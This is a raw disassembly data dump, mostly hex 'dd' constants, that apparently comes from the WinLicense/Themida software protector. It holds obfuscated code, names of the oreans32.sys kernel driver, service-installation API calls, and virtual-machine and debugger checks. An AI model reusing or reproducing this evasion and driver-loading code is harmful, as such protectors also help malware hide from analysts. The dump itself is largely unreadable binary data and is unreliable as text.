481A3D3h, 2CD1A824h, 14E81Ch, 2710000h, 0D749429h, 0B98AB433h dd 84FDE05Bh, 9914A692h, 0D08BA2A9h, 299D8D5Eh, 8107FCD5h dd 16D8E2F2h, 8D858911h, 5007FA16h, 1C89F98Bh, 0B35BA24h dd 95891210h, 7FA2781h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0DFE6B6C3h, 378D19A2h dd 0BE8A2F2h, 0 dd 3A3C5938h, 19038E30h, 7E91B8Ch, 0E5000000h, 6BE6BA84h dd 405AE329h, 37850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 28A8CDC3h, 0FFF1C0ABh dd 310F35CBh, 0FA1CD58Dh, 1EE95807h, 8B000001h, 0FA328D95h dd 0FD88B07h, 894BCABFh, 0FA02FD95h, 0F38B5807h, 66585C6h dd 6A4307FAh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 56F5C353h, 799531B4h, 0F07FA23h dd 1481h, 0FE900h, 5CA60000h, 3C0F106Dh, 51D5F790h, 157C1134h dd 0DC90681Eh, 8B6659B8h, 240481FAh, 66BD6E17h, 0A5B5FFF8h dd 8B07FA08h, 0FA0EF1BDh, 0E2858D07h, 6A07FA3Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 8456C352h, 0B1668E7Dh, 935790DCh, 5E9h, 90B5A800h, 0D0FFE8D6h dd 25698D09h, 605007FAh, 890Fh, 7DB80000h, 61299A14h, 66241C89h dd 0D0FFCF8Bh, 0CAD958Bh, 870F07FAh, 18h, 0CE8h, 32FC3700h dd 2D276873h, 1BEE5FE0h, 8D0FD6h, 5F000000h, 72FB9D8Dh dd 8D0907FAh, 7FA2C95h, 1B8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FFE2C454h dd 8BC18BE3h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 37195C12h, 850F19DEh, 10h, 0BE9h dd 81103F00h, 0B9E6F874h, 87FB7C8Fh, 2ACDBD83h, 750007FAh dd 99BD8309h, 7FA18h, 53501974h, 0FB8C08Bh, 89000004h dd 0FA158185h, 8B9D8D07h, 0FF07FCE2h, 83585BD3h, 0FA1899BDh dd 17740007h, 0FB85350h, 89000004h, 0FA158185h, 2C9D8D07h dd 0FF07FCDFh, 89585BD3h, 0FA0E19B5h, 298D8B07h, 0E907FA0Eh dd 0Bh, 0A04AF3Dh, 849E815Ah, 8B978185h, 0AAE9C0h, 6F530000h dd 61777466h, 575C6572h, 694C6E69h, 736E6563h, 68430065h dd 496B6365h, 7058004Eh, 45746F72h, 746978h, 63656843h dd 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh, 69737265h dd 57006E6Fh, 694C6E69h, 736E6563h, 69724465h, 56726576h dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h dd 636E6174h, 78450065h, 6B4F7469h, 6F725000h, 4E4963h dd 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h dd 54005455h, 4E4970h, 3 dup(0) dd 77DEB908h, 77DFD5BBh, 596E9h, 47858900h, 8D07FCDDh dd 0FCDD4385h, 858D5007h, 7FCDCADh, 16850h, 95FF8000h dd 7FCDD53h, 0B5FF196Ah, 7FCDD47h, 6A016Ah, 0DCDC858Dh dd 0FF5007FCh, 0FCDD43B5h, 2995FF07h, 0FF07FA20h, 0FCDD43B5h dd 4F95FF07h, 0FF07FCDDh, 0FCDD43B5h, 4195FF07h, 0C307FA23h dd 0DD478589h, 858D07FCh, 7FCDD43h, 0AD858D50h, 5007FCDCh dd 168h, 5395FF80h, 6A07FCDDh, 47858D04h, 5007FCDDh, 6A046Ah dd 0DD06858Dh, 0FF5007FCh, 0FCDD43B5h, 2995FF07h, 0FF07FA20h dd 0FCDD43B5h, 4F95FF07h, 0FF07FCDDh, 0FCDD43B5h, 4195FF07h dd 0C307FA23h, 0DD478589h, 858D07FCh, 7FCDD43h, 0AD858D50h dd 5007FCDCh, 168h, 5395FF80h, 6A07FCDDh, 47858D04h, 5007FCDDh dd 6A046Ah, 0DCEE858Dh, 0FF5007FCh, 0FCDD43B5h, 2995FF07h dd 0FF07FA20h, 0FCDD43B5h, 4F95FF07h, 0FF07FCDDh, 0FCDD43B5h dd 4195FF07h, 0C307FA23h, 0DD478589h, 858D07FCh, 7FCDD43h dd 0AD858D50h, 5007FCDCh, 168h, 5395FF80h, 6A07FCDDh, 47858D04h dd 5007FCDDh, 6A046Ah, 0DD19858Dh, 0FF5007FCh, 0FCDD43B5h dd 2995FF07h, 0FF07FA20h, 0FCDD43B5h, 4F95FF07h, 0FF07FCDDh dd 0FCDD43B5h, 4195FF07h, 0C307FA23h, 0DD478589h, 858D07FCh dd 7FCDD43h, 0AD858D50h, 5007FCDCh, 168h, 5395FF80h, 6A07FCDDh dd 47858D04h, 5007FCDDh, 6A046Ah, 0DCC9858Dh, 0FF5007FCh dd 0FCDD43B5h, 2995FF07h, 0FF07FA20h, 0FCDD43B5h, 4F95FF07h dd 0FF07FCDDh, 0FCDD43B5h, 4195FF07h, 0C307FA23h, 17D1BD83h dd 0F0007FAh, 0B84h, 0D19D8B00h, 8307FA17h, 3894CC3h, 0D1BD83C3h dd 7FA17h, 0B840Fh, 9D8B0000h, 7FA17D1h, 8950C383h, 0BD83C303h dd 7FA17D1h, 0B840F00h, 8B000000h, 0FA17D19Dh, 54C38307h dd 83C30389h, 0FA17D1BDh, 840F0007h, 0Bh, 17D19D8Bh, 0C38307FAh dd 0C3038958h, 17D1BD83h, 0F0007FAh, 0B84h, 0D19D8B00h dd 8307FA17h, 3895CC3h, 8960C3C3h, 0FCDD4785h, 43858D07h dd 5007FCDDh, 0DCAD858Dh, 685007FCh, 80000001h, 0DD5395FFh dd 46A07FCh, 0DD47858Dh, 6A5007FCh, 8D006A04h, 0FCDD3E85h dd 0B5FF5007h, 7FCDD43h, 202995FFh, 0BD8307FAh, 7FA2ACDh dd 0C840F00h, 0FF000000h, 0FCDD43B5h, 4F95FF07h, 0FF07FCDDh dd 0FCDD43B5h, 4195FF07h, 6107FA23h, 858960C3h, 7FCDD47h dd 0DD43858Dh, 8D5007FCh, 0FCDCAD85h, 1685007h, 0FF800000h dd 0FCDD5395h, 8D046A07h, 0FCDD4785h, 46A5007h, 858D006Ah dd 7FCDD20h, 43B5FF50h, 0FF07FCDDh, 0FA202995h, 0CDBD8307h dd 7FA2Ah, 0C840Fh, 0B5FF0000h, 7FCDD43h, 0DD4F95FFh, 0B5FF07FCh dd 7FCDD43h, 234195FFh, 0C36107FAh, 47858960h, 8D07FCDDh dd 0FCDD4385h, 858D5007h, 7FCDCADh, 16850h, 95FF8000h dd 7FCDD53h, 858D046Ah, 7FCDD47h, 6A046A50h, 27858D00h dd 5007FCDDh, 0DD43B5FFh, 95FF07FCh, 7FA2029h, 2ACDBD83h dd 0F0007FAh, 0C84h, 43B5FF00h, 0FF07FCDDh, 0FCDD4F95h dd 43B5FF07h, 0FF07FCDDh, 0FA234195h, 60C36107h, 0DD478589h dd 858D07FCh, 7FCDD43h, 0AD858D50h, 5007FCDCh, 168h, 5395FF80h dd 6A07FCDDh, 47858D04h, 5007FCDDh, 6A046Ah, 0DD2F858Dh dd 0FF5007FCh, 0FCDD43B5h, 2995FF07h, 8307FA20h, 0FA2ACDBDh dd 840F0007h, 0Ch, 0DD43B5FFh, 95FF07FCh, 7FCDD4Fh, 0DD43B5FFh dd 95FF07FCh, 7FA2341h, 8960C361h, 0FCDD4785h, 43858D07h dd 5007FCDDh, 0DCAD858Dh, 685007FCh, 80000001h, 0DD5395FFh dd 46A07FCh, 0DD47858Dh, 6A5007FCh, 8D006A04h, 0FCDD3685h dd 0B5FF5007h, 7FCDD43h, 202995FFh, 0BD8307FAh, 7FA2ACDh dd 0C840F00h, 0FF000000h, 0FCDD43B5h, 4F95FF07h, 0FF07FCDDh dd 0FCDD43B5h, 4195FF07h, 6107FA23h, 85C760C3h, 7FCDD47h dd 1, 0DD43858Dh, 8D5007FCh, 0FCDCAD85h, 2685007h, 0FF800000h dd 0FCDD5395h, 0FC00B07h, 0F84h, 4785C700h, 7FCDDh, 0E9000000h dd 4Dh, 858D046Ah, 7FCDD47h, 6A046A50h, 0C1858D00h, 5007FCDCh dd 0DD43B5FFh, 95FF07FCh, 7FA2029h, 840FC00Bh, 0Fh, 0DD4785C7h dd 7FCh, 0AE90000h, 0C7000000h, 0FCDD4785h, 107h, 43B5FF00h dd 0FF07FCDDh, 0FA234195h, 858B6107h, 7FCDD47h, 858960C3h dd 7FCDD47h, 0DD43858Dh, 8D5007FCh, 0FCDCAD85h, 1685007h dd 0FF800000h, 0FCDD5395h, 8D046A07h, 0FCDD4785h, 46A5007h dd 858D006Ah, 7FCDCC1h, 43B5FF50h, 0FF07FCDDh, 0FA202995h dd 0CDBD8307h, 7FA2Ah, 0C840Fh, 0B5FF0000h, 7FCDD43h, 0DD4F95FFh dd 0B5FF07FCh, 7FCDD43h, 234195FFh, 0C36107FAh, 47858960h dd 8D07FCDDh, 0FCDD4385h, 858D5007h, 7FCDCADh, 16850h dd 95FF8000h, 7FCDD53h, 858D046Ah, 7FCDD47h, 6A046A50h dd 0D3858D00h, 5007FCDCh, 0DD43B5FFh, 95FF07FCh, 7FA2029h dd 2ACDBD83h, 0F0007FAh, 0C84h, 43B5FF00h, 0FF07FCDDh dd 0FCDD4F95h, 43B5FF07h, 0FF07FCDDh, 0FA234195h, 0C6C36107h dd 0FA066585h, 7685207h, 0FFADE47Bh, 0FA0AF5B5h, 3995FF07h dd 8907FA25h, 0FCDD5385h, 6585C607h, 5207FA06h, 2E00E568h dd 0F5B5FF90h, 0FF07FA0Ah, 0FA253995h, 4F858907h, 0C607FCDDh dd 0FA066585h, 35685207h, 0FFB9BF12h, 0FA0AF5B5h, 3995FF07h dd 8907FA25h, 0FA202985h, 6585C607h, 5207FA06h, 78103468h dd 0F5B5FF98h, 0FF07FA0Ah, 0FA253995h, 41858907h, 0C607FA23h dd 0FA066585h, 0D4685207h, 0FFC005DBh, 0FA0AF5B5h, 3995FF07h dd 8907FA25h, 0FA1F0D85h, 20EE907h, 43330000h, 6F6E6E61h dd 72772074h, 20657469h, 6165726Fh, 762E736Eh, 0D0A6478h dd 656B614Dh, 72757320h, 68742065h, 74207461h, 20736968h dd 656C6966h, 20736920h, 20746F6Eh, 6E696562h, 73752067h dd 62206465h, 6E612079h, 6568746Fh, 72702072h, 6172676Fh dd 2E6Dh, 67h dup(0) dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 0EFE9h, 6585C600h, 4707FA06h, 0E45B8668h, 0A5B5FFE3h dd 8D07FA08h, 0FA3AE285h, 68D0FF07h, 104h, 2FAD9D8Dh, 0FF5307FAh dd 0B58D50D0h, 7FCE585h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 7FA0665h, 6EFC6843h dd 0B5FFBC8Eh, 7FA08A5h, 3AE2858Dh, 0D0FF07FAh, 2FADB58Dh dd 6A07FAh, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h dd 6585C6D8h, 5707FA06h, 9BEE5668h, 0A5B5FFA6h, 8D07FA08h dd 0FA3AE285h, 8DD0FF07h, 0FA25D9BDh, 0AB8D8D07h, 6A07FCE6h dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h, 8D000000h dd 0FCE38DB5h, 8A858D07h, 0FF07FCD3h, 0FB8D8DD0h, 0B807FA72h dd 0 dd 85C6E1FFh, 7FA0665h, 4AA76843h, 0B5FFC076h, 7FA08A5h dd 3AE2858Dh, 0D0FF07FAh, 0C3D0FF53h, 37D0B9h, 0E800h dd 83580000h, 8890EC0h, 2E9h, 0E9C38B00h, 37D0h, 905A4Dh dd 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0) dd 454Ch, 0 dd 40002h, 0 dd 38000h, 14h, 4 dup(0) dd 200h, 1C0h, 90h, 0 dd 7Eh, 0 dd 0C4h, 1, 0DCh, 3 dup(0) dd 12Ch, 138h, 2 dup(0) dd 142h, 196h, 1D2h, 0 dd 1D2h, 0 dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0) dd 4000000h, 27C0h, 0 dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h dd 10301h, 3, 0 dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h dd 7279801h, 1016B00h, 2771h, 360h dup(0) dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0) aVerpp db 'verPP',0 align 10h a1vsr2vsr3vsr db '1vsR2vsR3vsR',0 align 10h dd 9C3h dup(0) dd 831BE883h, 77309F8h, 8524FFh, 0F8000000h, 0C3h, 8 dup(0) dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 99E9h, 75622F00h dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh dd 73757461h, 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 7FD1F00h, 0A840F00h, 0C7000000h, 0FA189985h, 107h, 6585C600h dd 4707FA06h, 4E8h, 6D6C8D00h, 448B5090h, 8B0424h, 4244489h dd 0A5B5FF58h, 8D07FA08h, 0FA3AE285h, 0FFD0FF07h, 80F88BD0h dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 18840F00h dd 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h, 840F00h dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h dd 0F003F80h, 585h, 2DDE900h, 1E90000h, 47000000h, 0F203F80h dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C0E90000h, 0E8000002h dd 0Ah, 0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 7FD1E80h, 225E8h dd 15BD0300h, 8307FD1Fh, 0FD1F15BDh, 840F0007h, 0Bh, 2ACD85C7h dd 107FAh, 8DC30000h, 0FD1E8BB5h, 1FCE807h, 0BD030000h dd 7FD1F15h, 1F15BD83h, 0F0007FDh, 0B84h, 9985C700h, 107FA18h dd 0C3000000h, 1F04B58Dh, 0D3E807FDh, 3000001h, 0FD1F15BDh dd 15BD8307h, 7FD1Fh, 0B840Fh, 85C70000h, 7FA18D9h, 1 dd 95B58DC3h, 0E807FD1Eh, 1AAh, 1F15BD03h, 0BD8307FDh dd 7FD1F15h, 0B840F00h, 0C7000000h, 0FA189985h, 107h, 0B58DC300h dd 7FD1E9Fh, 181E8h, 15BD0300h, 8307FD1Fh, 0FD1F15BDh dd 840F0007h, 15h, 189985C7h, 107FAh, 85C70000h, 7FA2ACDh dd 1, 0ADB58DC3h, 0E807FD1Eh, 14Eh, 1F15BD03h, 0BD8307FDh dd 7FD1F15h, 0A840F00h, 0C7000000h, 0FA113985h, 107h, 0B7B58D00h dd 0E807FD1Eh, 126h, 1F15BD03h, 0BD8307FDh, 7FD1F15h, 0A840F00h dd 0C7000000h, 0FA113985h, 107h, 0C2B58D00h, 0E807FD1Eh dd 0FEh, 1F15BD03h, 0BD8307FDh, 7FD1F15h, 0A840F00h, 0C7000000h dd 0FA0B5D85h, 107h, 0C8B58D00h, 0E807FD1Eh, 0D6h, 1F15BD03h dd 0BD8307FDh, 7FD1F15h, 0A840F00h, 0C7000000h, 0FA29B985h dd 107h, 0CEB58D00h, 0E807FD1Eh, 0AEh, 1F15BD03h, 0BD8307FDh dd 7FD1F15h, 0A840F00h, 0C7000000h, 0FA16C585h, 107h, 0DCB58D00h dd 0E807FD1Eh, 86h, 1F15BD03h, 0BD8307FDh, 7FD1F15h, 0A840F00h dd 0C7000000h, 0FA0E6185h, 107h, 0E9B58D00h, 0E807FD1Eh dd 5Eh, 1F15BD03h, 0BD8307FDh, 7FD1F15h, 0A840F00h, 0C7000000h dd 0FA217D85h, 107h, 0F4B58D00h, 0E807FD1Eh, 36h, 1F15BD03h dd 0BD8307FDh, 7FD1F15h, 0A840F00h, 0C7000000h, 0FA0AD985h dd 107h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h, 850F003Fh, 2, 178AC92Bh dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 1F15B589h, 0AE907FDh, 0C7000000h dd 0FD1F1585h, 7, 0B8C36100h, 0 dd 840FC00Bh, 0Ah, 113985C7h, 7FAh, 0C88B0000h, 9E8h, 0FAE0A200h dd 0D1A4A6A2h, 81667B07h, 5A0CF1CFh, 1F890Fh, 8B0F0000h dd 19h, 14E9h, 56BB5400h, 578211E2h, 1420895h, 68AE5364h dd 9A99D798h, 7CC28156h, 81000059h, 2E3ADBC1h, 0B809h dd 9D890000h, 7FA0569h, 531034FFh, 820F60h, 66000000h dd 5961CB8Bh, 0DE85Eh, 0B9D20000h, 4E6AD53h, 0F74CE53h dd 314E0BD0h, 0FA1099B5h, 0F6815907h, 58EA788Dh, 0C404C681h dd 8D895D75h, 7FA0E35h, 35F0F681h, 56F9255Ch, 1DE19D8Bh dd 48F07FAh, 0AE902h, 82460000h, 0B29190C6h, 0B2DB84E4h dd 2D79B509h, 0E88307FAh, 0C1958902h, 4807FA1Ch, 9BD8B48h dd 8107FA22h, 0FFA750F8h, 81850FFFh, 8BFFFFFFh, 0FA11A19Dh dd 10B7E907h, 44410000h, 49504156h, 442E3233h, 4F004C4Ch dd 536E6570h, 6E614D43h, 72656761h, 72430041h, 65746165h dd 76726553h, 41656369h, 61745300h, 65537472h, 63697672h dd 47004165h, 614E7465h, 65766974h, 74737953h, 6E496D65h dd 4F006F66h, 536E6570h, 69767265h, 416563h, 656C6544h dd 65536574h, 63697672h, 6C430065h, 5365736Fh, 69767265h dd 61486563h, 656C646Eh, 6E6F4300h, 6C6F7274h, 76726553h dd 656369h, 8 dup(0) aOreans32_sys db 'oreans32.sys',0 align 10h dd 0 dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 1Ch dup(0) dd 53000000h, 7774666Fh, 5C657261h, 656E6957h, 0F5C48B00h dd 24218589h, 0E78107FAh, 342C6F1Ch, 8B66C08Bh, 0CDBD83FEh dd 7FA2Ah, 0BD830975h, 7FA1899h, 50197400h, 0B8C08B53h dd 43Dh, 20C98589h, 9D8D07FAh, 7FCE224h, 585BD3FFh, 1899BD83h dd 740007FAh, 0B8535017h, 43Dh, 20C98589h, 9D8D07FAh, 7FCDF13h dd 585BD3FFh, 3139BD89h, 0D0B207FAh, 31218D89h, 0C08B07FAh dd 6840Fh, 0B5890000h, 7FA076Dh, 8BD0BF0Fh, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 6903BF83h, 0BD834842h, 7FA2ACDh, 83097500h, 0FA1899BDh dd 13740007h, 0C08B5350h, 0B8h, 0C69D8D00h, 0FF07FCE0h dd 83585BD3h, 0FA1899BDh, 11740007h, 0B85350h, 8D000000h dd 0FCDF779Dh, 5BD3FF07h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 1AC02E28h dd 43B5ED28h, 14E96767h, 0A8000000h, 17B4CCAh, 0A9A09F63h dd 35E70A6Bh, 7B9E0E03h, 8BC4D39Bh, 0F28166C0h, 0C08BA789h dd 0BD835952h, 7FA2ACDh, 83097500h, 0FA1899BDh, 13740007h dd 0C08B5350h, 0B8h, 0F89D8D00h, 0FF07FCDFh, 83585BD3h dd 0FA1899BDh, 11740007h, 0B85350h, 8D000000h, 0FCDF459Dh dd 5BD3FF07h, 0CFBF0F58h, 11C9958Bh, 8B6607FAh, 8BC08BFAh dd 6AC08BF9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 5FD6C353h, 0DE8h, 0CA2E7200h dd 4F4BC92h, 9DA60DB9h, 6ABA5894h, 5A143774h, 80D2B70Fh dd 0BD8312C1h, 7FA2ACDh, 83097500h, 0FA1899BDh, 13740007h dd 0C08B5350h, 0B8h, 5F9D8D00h, 0FF07FCE0h, 83585BD3h dd 0FA1899BDh, 11740007h, 0B85350h, 8D000000h, 0FCDF5E9Dh dd 5BD3FF07h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0C2CC59E8h, 0E90E3BEBh, 8, 7190E631h dd 0F436197Dh, 0A699D01h, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 64B367C3h, 0BFA4B4B5h dd 0E19503ACh, 8A07FA02h, 6AC08BF5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 7EA3C350h dd 91A30C0Bh, 0D21D2F63h, 0AB33BF66h, 60BFC08Bh, 89580EDAh dd 0FA2A2D8Dh, 0CDBD8307h, 7FA2Ah, 0BD830975h, 7FA1899h dd 50137400h, 0B8C08B53h, 0 dd 0DF919D8Dh, 0D3FF07FCh, 6A585Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FA0C2C3h dd 68Eh, 1BD8900h, 0F07FA1Fh, 8Ch, 81C08B00h, 0E07DA9EAh dd 8BC08B51h, 0CDBD83CEh, 7FA2Ah, 0BD830975h, 7FA1899h dd 50197400h, 0B8C08B53h, 7D0h, 20C98589h, 9D8D07FAh, 7FCE224h dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 7D0h, 20C98589h dd 9D8D07FAh, 7FCDF13h, 585BD3FFh, 9EC78166h, 0FD9529B9h dd 0E807FA14h, 0Eh, 0C1FEDB10h, 10CF0EC2h, 3AF11531h, 7E95D93h dd 0A6000000h, 3F66E4C4h, 8B59C720h, 0D8D8BC0h, 0C607FA22h dd 0FA066585h, 6A5307h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0E4ADB9C3h, 0F02847A9h, 906836D9h dd 0F99395Fh, 0B5FFD7BFh, 7FA08A5h, 2281952Bh, 858D07FAh dd 7FA3AE2h, 27698D89h, 8D0107FAh, 7FA02D9h, 9589D0FFh dd 7FA27B1h, 17998589h, 858907FAh, 7FA0219h, 66585C6h dd 0E95707FAh, 12h, 6BDD0CCDh, 560EAB3Eh, 5A68503Fh, 0D25DD467h dd 6688A8Ch, 6A900452h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0DA0EC351h, 6E3C8D3Ch dd 0B589ECC4h, 7FA1781h, 0FDBAC181h, 8D8B097Fh, 7FA0C81h dd 8A5B5FFh, 0BD8B07FAh, 7FA33E9h, 3AE2858Dh, 11E907FAh dd 6C000000h, 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h dd 0D0FF32B5h, 396C36BFh, 7585897Bh, 0C607FA28h, 0FA066585h dd 8D0F4307h, 3, 68D8C280h, 0BC907028h, 5E8h, 15CC3A00h dd 0BD8B31EEh, 7FA0AF1h, 0A5B5FF59h, 907FA08h, 0FA0ADD95h dd 0CE8B6607h, 3AE2858Dh, 852907FAh, 7FA1D25h, 9E9h, 0CFA0D500h dd 20640012h, 0D0FF5DB2h, 0FE85DB6h, 0A9000000h, 0C5E17C1Dh dd 0EBF3F5A5h, 8204670Ah, 8E0F880Ch, 6, 2169950Bh, 895907FAh dd 0FA225985h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 